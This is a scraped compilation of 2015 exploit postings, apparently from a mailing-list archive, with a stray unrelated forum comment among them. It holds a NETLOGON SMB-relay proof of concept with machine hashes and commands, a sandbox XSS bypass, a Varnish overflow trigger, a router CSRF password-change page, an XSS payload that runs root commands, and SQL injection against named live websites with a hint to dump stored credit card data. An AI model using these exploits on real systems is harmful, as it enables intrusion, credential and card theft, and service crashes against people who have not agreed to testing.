ATTACKER-MACHINE, starts an SMB Connection. 2) ATTACKER-MACHINE connects to TARGET-MACHINE, starts an SMB Connection, and gets TARGET-MACHINE SMB_COM_NEGOTITATE response. 3) ATTACKER-MACHINE forwards the SMB_COM_NEGOTIATE packet back to USER-A. 4) USER-A starts the SMB_SESSION_SETUP_ANDX procedure, sending the NTLM_NEGOTIATE packet. 5) ATTACKER-MACHINE forwards the NTLM_NEGOTIATE packet to TARGET-MACHINE, and receives a NTLM_CHALLENGE. 6) ATTACKER-MACHINE forwards the NTLM_CHALLENGE back to USER-A. 7) USER-A sends a NTLM_AUTHENTICATE message to ATTACKER-MACHINE. 8) ATTACKER-MACHINE forwards the NTLM_AUTHENTICATE message to TARGET-MACHINE. If the answer is STATUS_SUCCESS, it means the credentials are valid. Up to here, this is a normal SMB Relay attack. The following steps are performed in order to acquire the SMB Signing key 9) ATTACKER-MACHINE connects to DC-MACHINE NETLOGON's protocol, authenticating itself using MACHINE-ACCOUNT hashes. 10) ATTACKER-MACHINE calls NETLOGON's NetrLogonSamLogonWithFlags() specifying the following information: a. ComputerName: TARGET-MACHINE b. ValidationLevel: NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4 c. LogonLevel: NETLOGON_VALIDATION_INFO_CLASS.NetlogonNetworkTransitiveInformation d. LogonNetworkTransitive/Identity/LogonDomainName: The domainname e. LogonNetworkTransitive/Identity/ParameterControl: 0 f. LogonNetworkTransitive/Identity/UserName: USER-A g. LogonNetworkTransitive/Identity/Workstation: '' h. LogonNetworkTransitive/Identity/LmChallenge: The challenge field of the NTLM_CHALLENGE structure. i. LogonNetworkTransitive/Identity/NtChallengeResponse: the NtChallengeResponse from the NTLM_AUTHENTICATE structure. j. LogonNetworkTransitive/Identity/LmChallengeResponse: the LmChallengeResponse from the NTLM_AUTHENTICATE structure. 11) The return of this call will contain a NETLOGON_VALIDATION_SAM_INFO4 structure, that contains, among other things, the UserSessionKey. Depending on the negotiation flags, this could be the straight SMB Signing key, or an extra transformation should be made (calling generateEncryptedSessionKey()). 12) Attacker now has a valid connection with TARGET-MACHINE, authenticated as USER-A, and now has the SMB Signing key needed to perform further SMB commands against TARGET-MACHINE. 7.1. *Proof of Concept* In order to test this attack the following infrastructure is needed: 1) A domain controller, exporting the SYSVOL share to normal users (this is just for the PoC). Domain Name: TESTDOMAIN, Domain IP: 192.168.1.100. 2) A domain joined machine, acting as the victim machine. A domain user must be logged on that machine. (IP: 192.168.1.220) 3) An attackers machine, doesn't need to be joined to the domain. Since we will be performing the attack from this machine, we will need to bind to TCP port 445. Using a Unix machine would be the easiest way since on Windows this is harder. Attacker's Machine IP: 192.168.1.200 4) A valid machine account name and NTLM hashes. Assuming it is: a. account name: TEST-MACHINE$ b. NTHASH/LMHASH: aad3b435b51404eeaad3b435b51404ee:a52b1cddfa877184bc34c39b4da137db The machine NTLM hashes can be obtained by using any publicly available LSA secrets dump application.[10] 5) The smbrelayx.py script [17] and the impacket library installed [18]. 6) Change smbrelayx.py doAttack() class to the following: /----- class doAttack(Thread): def __init__(self, SMBClient, exeFile): Thread.__init__(self) self.SMBClient = SMBClient def run(self): # Here PUT YOUR CODE! from impacket.smbconnection import SMBConnection smbConnection = SMBConnection(existingConnection=self.SMBClient) files = smbConnection.listPath('SYSVOL','\\*') print "EVIDENCE: SYSVOL's contents!" for file in files: print file.get_longname() smbConnection.logoff() -----/ Usage: From the attackers machine run: /----- python smbrelayx.py -h 192.168.1.100 -e NOTHING -machine-account TESTDOMAIN/TEST-MACHINE\$ -machine-hashes aad3b435b51404eeaad3b435b51404ee:a52b1cddfa877184bc34c39b4da137db -domain 192.168.1.100 -----/ From the victim's machine, with a valid domain user logged in, run from the command prompt: /----- dir \\192.168.1.200\c$ -----/ At the smbrelayx.py execution, you will see: /----- Impacket v0.9.12 - Copyright 2002-2014 Core Security Technologies [*] Running in relay mode [*] Config file parsed [*] Setting up SMB Server [*] Servers started, waiting for connections [*] Incoming connection (192.168.1.220,58702) [*] SMBD: Received connection from 192.168.1.220, attacking target 192.168.1.100 [*] Signature is REQUIRED on the other end, using NETLOGON approach [*] Connecting to 192.168.1.100 NETLOGON service [*] TESTDOMAIN\usera successfully validated through NETLOGON [*] SMB Signing key: 3b8aa5a6cde5175acf676ba312b62404 [*] Authenticating against 192.168.1.100 as TESTDOMAIN\usera SUCCEED [!] TreeConnectAndX not found C$ [!] TreeConnectAndX not found C$ EVIDENCE: SYSVOL's contents! . .. TESTDOMAIN ---- -----/ If you want to perform more actions instead of just listing the SYSVOL contents, check the doAttack.run() method inside smbrelayx.py 8. *Report Timeline* . 2014-05-27: Core Security sent the first notification to Microsoft, including a technical description and a Proof of Concept to reproduce the vulnerability. Publication date set to Jun 30, 2014. . 2014-05-27: Microsoft assigns the tracking number 19179 and informs their team will be investigating our report. . 2014-06-25: Core Security requested an update on the investigations and expressed we are still planning to release the advisory on June 30th. . 2014-07-03: Core Security requested an update on the investigations and expressed we decided to postpone the release date from June 30th to July 10th giving additional time to reply back. . 2014-07-07: Microsoft claims the issue has been publicly know since 2009 and the advisories [19] and [20]. . 2014-07-09: Microsoft informs that took another look to the issue and thinks there may be a bigger problem than just the NTLM as they previously stated. Requests to hold off the publishing of the advisory. . 2014-07-15: Core Security insists that SMB Signing is not an effective way of mitigating this problem as demonstrated in the PoC sent in the original report. We inform we decided not to publish a advisory but we will write a blog post with the technical description. . 2014-07-24: Core Security informed that we will publish the blog and related tools on August 4th, considering we didn't receive a reply. . 2014-07-28: Microsoft informs they were able to reproduce the issue and are working on a fix. They request if possible to hold off CORE Security's publication. . 2014-08-12: Core Security, considering their acknowledgment of the issue, will be publishing an advisory. Core Security requested a tentative ETA for making the advisory public. . 2014-08-18: Microsoft informs they don't have an ETA but are working to define one. Microsoft request a draft of the advisory. . 2014-08-20: Core Security informed Microsoft that will be sending them a draft copy of the Advisory next week. . 2014-09-11: Core Security sent a draf version of the advisory. . 2014-09-23: Core Security requested a reception confirmation of the draft version of the advisory. . 2014-09-24: Microsoft confirms reception. They inform they are tentatively scheduling a December release. . 2014-10-23: Core Security requested the specific date for releasing the fix in order to schedule the advisory accordingly. . 2014-11-03: Microsoft informs that they are planning a January release but it could change if they find variants or run into issues on their test pass. . 2014-11-05: Core Security requested the vendor that we would like to respect the original release date considering that the issue was originally reported on the 27 of May, 2014. . 2014-11-10: Microsoft informs that they are expecting to ship the fix in January because they have other deployment priorities. . 2014-12-16: Core Security requested the vendor a specific date for the release of the fix and we inform them that we are planning to release the advisory on Tuesday 13th of January, 2015. . 2015-01-02: Microsoft informs that they are not going to meet the expectations for a fix in January because they require to fix the NETLOGON API, and during its application compatibility testing they identified a major service provider that is affected by their fix. . 2015-02-24: Core Security requested the vendor an updated time frame for publishing the fix of the bug. . 2015-02-27: Microsoft informs that they currently finalizing the final test pass and that they should have a concrete date for next week. At the moment they have it scheduled for March 10th, 2015. They request as well how we would lke to be credited in the Bulletin. . 2015-03-02: Core Security informed them how we would like to be credited and requested them a daft copy of their Bulletin and a copy of the fix in order to make internal tests. . 2015-03-02: Microsoft informs us that they cannot share packages early unless we are under NDA with them and in the SUVP program. . 2015-03-03: Core Security informed them that we were disappointed by their response considering that we have been cooperating with them for more than 9 months and have disclosed higly confidential information with them. We informed them that we are going to publish the advisory on March 10th. . 2015-03-09: Microsoft confirmed us that their Security Bulletin was going to be published March 10th, 10:00 AM EST. They requested Core Security to ckeck the acknowledgment they were going to use. . 2015-03-09: Core Security thanked Microsoft for the information provided and informed them how the Advisory should be acknowledged. Core Security requested Microsoft a CVE ID, considering they are listed as a CVE Numbering Authority. Core Security sent them the link of were our advisory is going to be published. . 2015-03-09: Microsoft issued the CVE-2015-0005 and ask Core Security if we wanted them to link our Advisory in their acknowledgment. . 2015-03-09: Core Security requested, that if possible, they could link our advisory in the acknowledgment. . 2015-03-10: Advisory CORE-2015-0005 published. 9. *References* [1] http://www.microsoft.com/. [2] http://msdn.microsoft.com/en-us/library/cc237015.aspx. [3] http://msdn.microsoft.com/en-us/library/cc237008.aspx. [4] http://msdn.microsoft.com/en-us/library/gg604667.aspx. [5] http://msdn.microsoft.com/en-us/library/cc236629.aspx. [6] http://msdn.microsoft.com/es-co/cc237066. [7] http://msdn.microsoft.com/es-co/cc237067. [8] http://msdn.microsoft.com/en-us/library/cc237068.aspx. [9] http://msdn.microsoft.com/en-us/library/cc223986.aspx. [10] http://msdn.microsoft.com/en-us/library/cc246684.aspx. [11] http://msdn.microsoft.com/en-us/library/ee441770.aspx. [12] https://code.google.com/p/impacket/source/browse/tags/impacket_0_9_12/impacket/dcerpc/v5/nrpc.py. [13] https://msdn.microsoft.com/en-us/library/cc237250.aspx. [14] http://blogs.technet.com/b/msrc/archive/2008/11/11/ms08-068-and-smbrelay.aspx. [15] http://technet.microsoft.com/en-us/library/cc512612.aspx. [16] https://code.google.com/p/impacket/source/browse/tags/impacket_0_9_12/examples/secretsdump.py. [17] https://code.google.com/p/impacket/source/browse/trunk/examples/smbrelayx.py. [18] https://code.google.com/p/impacket/. [19] https://technet.microsoft.com/en-us/library/security/974926.aspx. [20] https://technet.microsoft.com/en-us/library/security/973811.aspx. [21] https://technet.microsoft.com/en-us/library/security/ms15-027.aspx. 10. *About CoreLabs* CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com. 11. *About Core Security* Core Security enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations. Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com. 12. *Disclaimer* The contents of this advisory are copyright (c) 2015 Core Security and (c) 2015 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/ 13. *PGP/GPG Keys* This advisory has been signed with the GPG key of Core Security advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc. Source

@vabogsm ala e acolo de cativa ani si tu abia acum l-ai vazut? ) e de cand lumea, pus de admin.

Ruben Ventura (@tr3w_) found a pretty cool bypass of MentalJS. He used insertBefore with a null second argument which allows you to insert a node into the dom and bypass my sandboxing restrictions. The vector is below:- _=document x =_.createElement('script'); s =_.createElement('style') s.innerHTML = '*/alert(location)//' t=_.createElement('b') t.textContent = '/*' x.insertBefore(t.firstChild, null); x.insertBefore(s, null) _.body.appendChild(x) x =_.createElement('script'); s =_.createElement('style') s.innerHTML = _.getElementsByTagName('script')[2].textContent x.insertBefore(s.firstChild, null) _.body.appendChild(x) It can actually be compressed to the following: s=document.createElement('script'); s.insertBefore(document.createTextNode('alert(location)'),null); document.body.appendChild(s); The fix was to check if the second argument is null and the parent node is a script. Clean the script and then sandbox the code. Hopefully that will fix the attack, I couldn’t see a way to use insertBefore without a null argument to cause another bypass. @@ -5621,7 +5621,7 @@ } }; - exports.version = "0.1.15"; + exports.version = "0.1.16"; exports.parse = function(){ var js = MentalJS(); }; @@ -5873,9 +5873,7 @@ if(this.tagName && this.tagName.toUpperCase() == 'SCRIPT') { while(this.firstChild) { this.removeChild(this.firstChild); - } - } - if(this.tagName && this.tagName.toUpperCase() === 'SCRIPT') { + } js = MentalJS(); code = document.createTextNode(js.parse({options:{eval:false},code:node.textContent})); script = document.createElement('script'); @@ -5895,7 +5893,18 @@ 'lastChild$': {configurable:true, get:function(){return this.lastChild;}}, 'nextSibling$': {configurable:true, get:function(){return this.nextSibling;}}, 'parentNode$': {configurable:true, get:function(){return this.parentNode;}}, - 'insertBefore$': {configurable:true, writable:false, value:function(){return this.insertBefore.apply(this, arguments);}}, + 'insertBefore$': {configurable:true, writable:false, value:function(newElement, referenceElement){ + var js, script; + if(this.tagName && this.tagName.toUpperCase() == 'SCRIPT' && referenceElement === null) { + while(this.firstChild) { + this.removeChild(this.firstChild); + } + js = MentalJS(); + code = document.createTextNode(js.parse({options:{eval:false},code:newElement.textContent})); + return this.insertBefore(code, null); + } + return this.insertBefore.apply(this, arguments);} + }, 'cloneNode$': {configurable:true, writable:false, value:function(){return this.cloneNode.apply(this, arguments);}}, 'removeChild$': {configurable:true, writable:false, value:function(){return this.removeChild.apply(this, arguments);}}, 'removeAttribute$': {configurable:true, writable:false, value:function(name){ this.removeAttribute(name); }}, @@ -6175,7 +6184,8 @@ Object.defineProperties(HTMLStyleElement.prototype, { 'innerText$': {configurable:true, get:function(){return this.innerText;},set:function(innerText){ this.innerText = innerText; }}, 'textContent$': {configurable:true, get:function(){return this.textContent;},set:function(textContent){this.textContent=textConent;}}, - 'text$': {configurable:true, get:function(){return this.text;},set:function(text){ this.text=text; }} + 'text$': {configurable:true, get:function(){return this.text;},set:function(text){ this.text=text; }}, + 'innerHTML$': {configurable:true, get:function(){return this.innerHTML;},set:function(){ }} }); Object.defineProperties(document, { Source

# Exploit Title: ocPortal 9.0.16 Multiply XSS Vulnerabilities # Google Dork: "Copyright (c) ocPortal 2011 " # Date: 26-2-2015 # Exploit Author: Dennis Veninga # Vendor Homepage: http://ocportal.com/ # Vendor contacted: 22-2-2015 # Fix: http://ocportal.com/site/news/view/security_issues/xss-vulnerability-patch.htm # Version: 9.0.16 # Tested on: Firefox 36 & Chrome 38 / W8.1-x64 ocPortal -> Version: 9.0.16 Type: XSS Severity: Critical Info Exploit: There are MANY possibilities to execute XSS on the new released ocPortal. All XSS attacks are done by a new registered user, so no extra rights are given. It's all standard. ####################################################### Events/Calendar, vulnerable to XSS attack: URL: http://{target}/ocportal/cms/index.php?page=cms_calendar&type=ad Title & text field, enter XSS code in both fields. Somewhere else the title XSS is executed, and elsewhere the Text/info XSS code is executed. When entering an XSS attack, on the events page, when mouse-over the just made event, it also reproduces an XSS. URL: http://{target}/ocportal/index.php?page=calendar&type=misc&id=2015-02&view=month XSS Vulnerability on the events which ALSO affects the Admin Panel, when Admin visits the panel and wants to edit it. ####################################################### Poll, vulnerable to XSS-attack. URL: http://{yourwebsite}/ocportal/cms/index.php?page=cms_polls&type=ad Just fill some XSS-code into the fields. Publish and see the result ####################################################### Forum, vulnerable to XSS-attack URL: http://{target}/ocportal/forum/index.php?page=topics&type=new_topic&id=2 Creating a new topic with all the fields XSS-ed, performs the XSS attack when an user is browsing the homepage. This is happening when the active topics are shown on the index page. But on the forum page itself, it isn't working. ####################################################### New PT (private topic/private message), vulnerable to XSS-attack URL: http://{target}/ocportal/forum/index.php?page=topics&type=new_pt Now, because I got a new private message, this XSS is executed everywhere!! ####################################################### Source

Hi there, Latest varnish-cache 4.0.3 (https://www.varnish-cache.org/) seem to have a problem with parsing HTTP responses from backend. The following example response will trigger a heap buffer overflow : -- cut -- perl -e 'print "HTTP/1.1 200 OK\r\nContent-Length: dupa" . "\n" x 15855 . "A" x 10000 . "\n" ' | nc -l 1098 -- cut -- assuming your config uses localhost:1098 as backend. meh kernel: [2045151.042468] traps: varnishd[25794] general protection ip:42982c sp:7eff082db2d0 error:0 in varnishd[400000+ac000] Original asan report : --- cut --- ================================================================= ==12962==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62900cb24200 at pc 0x7feffed5a87b bp 0x7fef7b213fa0 sp 0x7fef7b213760 WRITE of size 32029 at 0x62900cb24200 thread T596 #0 0x7feffed5a87a (/usr/lib/x86_64-linux-gnu/libasan.so.1+0x2e87a) #1 0x7feffff11849 in HTTP1_Read (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xe8849) #2 0x7feffff04727 in v1f_pull_straight (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xdb727) #3 0x7fefffee1a35 in vfp_call (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xb8a35) #4 0x7fefffee210f in VFP_Suck (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xb910f) #5 0x7fefffee2ee3 in VFP_Fetch_Body (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xb9ee3) #6 0x7fefffed9f56 in vbf_stp_fetch (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xb0f56) #7 0x7fefffedea60 in vbf_fetch_thread (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xb5a60) #8 0x7feffff2d06a in Pool_Work_Thread (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x10406a) #9 0x7feffff7b040 in wrk_thread_real (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x152040) #10 0x7feffff7b442 in WRK_thread (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x152442) #11 0x7feffdccd181 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x8181) #12 0x7feffd9fa00c in __clone (/lib/x86_64-linux-gnu/libc.so.6+0xfb00c) 0x62900cb24200 is located 0 bytes to the right of 16384-byte region [0x62900cb20200,0x62900cb24200) allocated by thread T596 here: #0 0x7feffed807df in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.1+0x547df) #1 0x7feffffbe5e1 in sma_alloc (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x1955e1) #2 0x7feffffb04c9 in stv_alloc (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x1874c9) #3 0x7feffffb0e7b in stv_alloc_obj (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x187e7b) #4 0x7feffffb39ee in STV_alloc (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x18a9ee) #5 0x7fefffee1696 in VFP_GetStorage (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xb8696) #6 0x7fefffee2953 in VFP_Fetch_Body (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xb9953) #7 0x7fefffed9f56 in vbf_stp_fetch (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xb0f56) #8 0x7fefffedea60 in vbf_fetch_thread (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xb5a60) #9 0x7feffff2d06a in Pool_Work_Thread (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x10406a) #10 0x7feffff7b040 in wrk_thread_real (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x152040) #11 0x7feffff7b442 in WRK_thread (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x152442) #12 0x7feffdccd181 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x8181) Thread T596 created by T16 here: #0 0x7feffed4fc4a in __interceptor_pthread_create (/usr/lib/x86_64-linux-gnu/libasan.so.1+0x23c4a) #1 0x7feffff2d18d in pool_breed (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x10418d) #2 0x7feffff2dd3f in pool_herder (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x104d3f) #3 0x7feffdccd181 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x8181) Thread T16 created by T6 here: #0 0x7feffed4fc4a in __interceptor_pthread_create (/usr/lib/x86_64-linux-gnu/libasan.so.1+0x23c4a) #1 0x7feffff2f043 in pool_mkpool (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x106043) #2 0x7feffff2f527 in pool_poolherder (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x106527) #3 0x7feffdccd181 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x8181) Thread T6 created by T0 here: #0 0x7feffed4fc4a in __interceptor_pthread_create (/usr/lib/x86_64-linux-gnu/libasan.so.1+0x23c4a) #1 0x7feffff2f8e1 in Pool_Init (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x1068e1) #2 0x7feffff1a4cb in child_main (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xf14cb) #3 0x7feffff91402 in mgt_launch_child (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x168402) #4 0x7feffff92e06 in mgt_reap_child (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x169e06) #5 0x7feffff90541 in child_listener (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x167541) #6 0x7feffeb09ce7 in vev_schedule_one (/home/meh/varnish-4.0.3-asan/lib/varnish/libvarnish.so+0x24ce7) #7 0x7feffeb084b8 in vev_schedule (/home/meh/varnish-4.0.3-asan/lib/varnish/libvarnish.so+0x234b8) #8 0x7feffff93ff6 in MGT_Run (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x16aff6) #9 0x7feffff9db1f in main (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x174b1f) #10 0x7feffd920ec4 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21ec4) SUMMARY: AddressSanitizer: heap-buffer-overflow ??:0 ?? Shadow bytes around the buggy address: 0x0c528195c7f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c528195c800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c528195c810: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c528195c820: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c528195c830: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c528195c840:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c528195c850: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c528195c860: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c528195c870: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c528195c880: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c528195c890: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa --- cut --- Our understanding after previous reports is that varnish security model assumes full trust of the backend, so this is not considered a security problem (but we do). Best regards, Filip Palian Akat1 Marek Kroemeke Source

MikroTik RouterOS < v5.0 Admin Password Change CSRF Vulnerability by @SymbianSyMoh</b></h1></br> <input type="submit" value="Do it" onclick="var btn=document.createElement('IFRAME');btn.src=' [url]http://192.168.0.2/cfg?page=status&counter=1000&process=password&password1=Pwn3D2015&password2=Pwn3D2015&button=ok';btn.width='0';btn.height='0';btn.id='myIframe';document.body.appendChild(btn);alert('Pwned[/url]') <http://s.bl-1.com/h/mPQQyg5?url=http://192.168.0.2/cfg?page=status&counter=1000&process=password&password1=Pwn3D2015&password2=Pwn3D2015&button=ok%27;btn.width=%270%27;btn.height=%270%27;btn.id=%27myIframe%27;document.body.appendChild(btn);alert(%27Pwned%27)> ;"></br> </body> </html> Video PoC: [url]http://youtu.be/FHrvHJeLjLA[/url] <http://s.bl-1.com/h/mPQQ237?url=http://youtu.be/FHrvHJeLjLA> -- *Best Regards**,**,* *Mohamed Abdelbaset Elnoby*Guru Programmer, Information Security Evangelist & Bug Bounty Hunter. LinkedIn <http://s.bl-1.com/h/mPQQ6S9?url=https://www.linkedin.com/in/symbiansymoh>Curriculum Vitae <http://s.bl-1.com/h/mPQQCrC?url=http://goo.gl/cNrVpL> <http://s.bl-1.com/h/mPQQHFF?url=https://www.linkedin.com/in/symbiansymoh> Facebook <http://s.bl-1.com/h/mPQQNfH?url=https://fb.com/symbiansymoh>Twitter <http://s.bl-1.com/h/mPQQS2K?url=https://twitter.com/symbiansymoh> Source

Multiple issues have been discovered in the Untangle NGFW virtual appliance. The vendor was unresponsive and uncooperative to the researcher. - Persistent XSS leading to root Authentication requiredConfirmed in versions 9 and 11 (up to rev r39357) Throughout the Untangle user interface there are editable data tables for various user configuration options. An example of this is in: Configuration > Networking > Port Forwards. This table can be edited by clicking add to create a new port forward rule, or directly edited by double-clicking on the table rows themselves. The problem arises from malicious user input into some of the fields of these editable tables, which is not properly sanitised and allows for execution of user supplied Javascript code in the context of the users browser. Because this configuration data is saved into the backend database, this allows for Persistent XSS in each of the vulnerable fields/tables. This XSS attack is particularly devastating due to the fact that the malicious attacker can run commands as root on the virtual appliance, allowing for total system takeover. This is because the Untangle JSON-RPC API has access to functionality provided by the ExecManager class (https://gitorious.org/untangle/src/source/381ad9cb2d1d475bb43814b07bbb0df2d1ae7b58:uvm/api/com/untangle/uvm/ExecManager.java), which by default allows for arbitrary commands to be run as root on the system. A POC demonstrating the issue is below: Insert the following into the srcdoc attribute of a user-controlled iframe in the Description field or another vulnerable field (can also be styled to hide etc): Test <iframe srcdoc='[insert code]'></iframe> (single quotes) Insert: <html><head> <script type="text/javascript" src="/ext4/ext-all-debug.js"></script> <script type="text/javascript" src="/jsonrpc/jsonrpc.js"></script> <script type="text/javascript" src="/script/i18n.js"></script> <script type="text/javascript" src="script/components.js"></script> <script type="text/javascript" src="script/main.js"></script></head><body onload="exec()"><script type="text/javascript"> function exec() { var rpc = {}; rpc.jsonrpc = new JSONRpcClient("/webui/JSON-RPC"); var serverUID = rpc.jsonrpc.UvmContext.getServerUID(); alert(serverUID); rpc.execManager = rpc.jsonrpc.UvmContext.execManager(); var cmd = "whoami > /tmp/who"; var exit = rpc.execManager.execResult(cmd); alert("Command: " + cmd + " - Exit code: " + exit); }</script></body></html> - Information disclosure from Local Directory Authentication requiredConfirmed in versions 9 and 11, not fixed. The Local Directory interface shows a list of users stored on the Untangle system. Unfortunately, passwords are not sufficiently encrypted to prevent information disclosure. Each user in the local directory interface has an attribute, 'passwordBase64Hash', which is the base64 encoded string of the plaintext password. Because base64 is a bi-directional encoding scheme, the passwordBase64Hash attribute can be trivially decoded into the original plaintext string, revealing the password for each user. CH Source

========================================================================================== Instant v2.0 SQL Injection Vulnerability ========================================================================================== :-------------------------------------------------------------------------------------------------------------------------: : # Exploit Title : Instant v2.0 SQL Injection Vulnerability : # Date : 10th March 2015 : # Author : X-Cisadane : # CMS Name : Instant v2.0 (another OverCoffee production) : # CMS Developer : overcoffee.com : # Version : 2.0 : # Category : Web Applications : # Vulnerability : SQL Injection : # Tested On : Google Chrome Version 40.0.2214.115 m (Windows 7), Havij 1.16 Pro & SQLMap 1.0-dev-nongit-20150125 : # Greetz to : Explore Crew, CodeNesia, Bogor Hackers Community, Ngobas and Winda Utari :-------------------------------------------------------------------------------------------------------------------------: A SQL Injection Vulnerability has been discovered in the Instant v.2.0 CMS. The Vulnerability is located in the subid Value of the product_cat.php File. Attackers are able to execute own SQL commands by usage of a GET Method Request with manipulated subid Value. Attackers are able to read Database information by execution of own SQL commands. DORKS (How to find the target) : ================================ "Powered By Instant" inurl:/catalog/ inurl:/product_cat.php?subid= Or use your own Google Dorks Proof of Concept ================ SQL Injection PoC : http://[Site]/[Path]/product_cat.php/subid=['SQLi] And you have to change the URL structure to http://[Site]/[Path]/product_cat.php?subid=['SQLi] Example : http://www.cynthiawebbdesigns.com/catalog/product_cat.php/subid=16617/index.html?PHPSESSID=3ef7e156add41316201ffe87bd489a7d Just change the URL structure to http://www.cynthiawebbdesigns.com/catalog/product_cat.php?subid='16617 And you'll see this error notice : You have an error in your SQL syntax; check the manual that corresponds to your MySQL ... Note : This CMS stored Credit Card Infos on the Database, just open your Fav Tool and Dump the orders Table PIC / PoC : http://i59.tinypic.com/4l0poh.png Another Vuln Sites : http://www.unitymarketingonline.com/catalog/product_cat.php?subid=['SQLi] http://www.peacefulinspirations.net/catalog/product_cat.php?subid=['SQLi] http://www.dickensgifts.com/catalog/product_cat.php?subid=['SQLi] http://www.frogandprincellc.com/catalog/product_cat.php?subid=['SQLi] http://www.debrekht.com/catalog/product_cat.php?subid=['SQLi] ... etc ... Source

GeniXCMS v0.0.1 Remote Unauthenticated SQL Injection Exploit Vendor: MetalGenix Product web page: http://www.genixcms.org Affected version: 0.0.1 Summary: GenixCMS is a PHP Based Content Management System and Framework (CMSF). It's a simple and lightweight of CMSF. Very suitable for Intermediate PHP developer to Advanced Developer. Some manual configurations are needed to make this application to work. Desc: Input passed via the 'page' GET parameter and the 'username' POST parameter is not properly sanitised before being used in SQL queries. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code. Tested on: nginx/1.4.6 (Ubuntu) Apache 2.4.10 (Win32) PHP 5.6.3 MySQL 5.6.21 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2015-5234 Advisory URL: [url]http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5234.php[/url] 05.03.2015 --- <html> <body> <form action="http://localhost/genixcms/gxadmin/index.php?page=users" method="POST"> <input type="hidden" name="userid" value="Testingus" /> <input type="hidden" name="pass1" value="123456" /> <input type="hidden" name="pass2" value="123456" /> <input type="hidden" name="email" value="t00t@zeroscience.eu" /> <input type="hidden" name="group" value="0" /> <input type="hidden" name="adduser" value="" /> <input type="submit" value="Forge!" /> </form> </body> </html> Source

##################################### Title:- Reflected cross-site scripting(XSS) Vulnerability in Manage Engine AD Audit Manager Plus Admin Panel(Build 6270) Author: Harish Ramadoss - Help AG Middle East Vendor: ZOHO Corp Product: Manage Engine AD Audit Manager Plus Version: All versions below Build 6270 are mostly affected Tested Version: Build 6270 Severity: Medium CVE Reference: CVE-2015-1026 # About the Product: ADManager Plus is a Windows Active Directory Management and Reporting Solution that helps AD Administrators and Help Desk Technicians with their day-to-day activities. The software handles a variety of complex tasks like Bulk Management of User accounts and other AD objects, Delegate Role based access to Help Desk Technicians, and generates an exhaustive list of AD Reports, # Description: An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. This leads to compromising the whole domain as the application normally uses privileged domain account to perform administration tasks. # Vulnerability Class: Reflected cross-site scripting(XSS) - 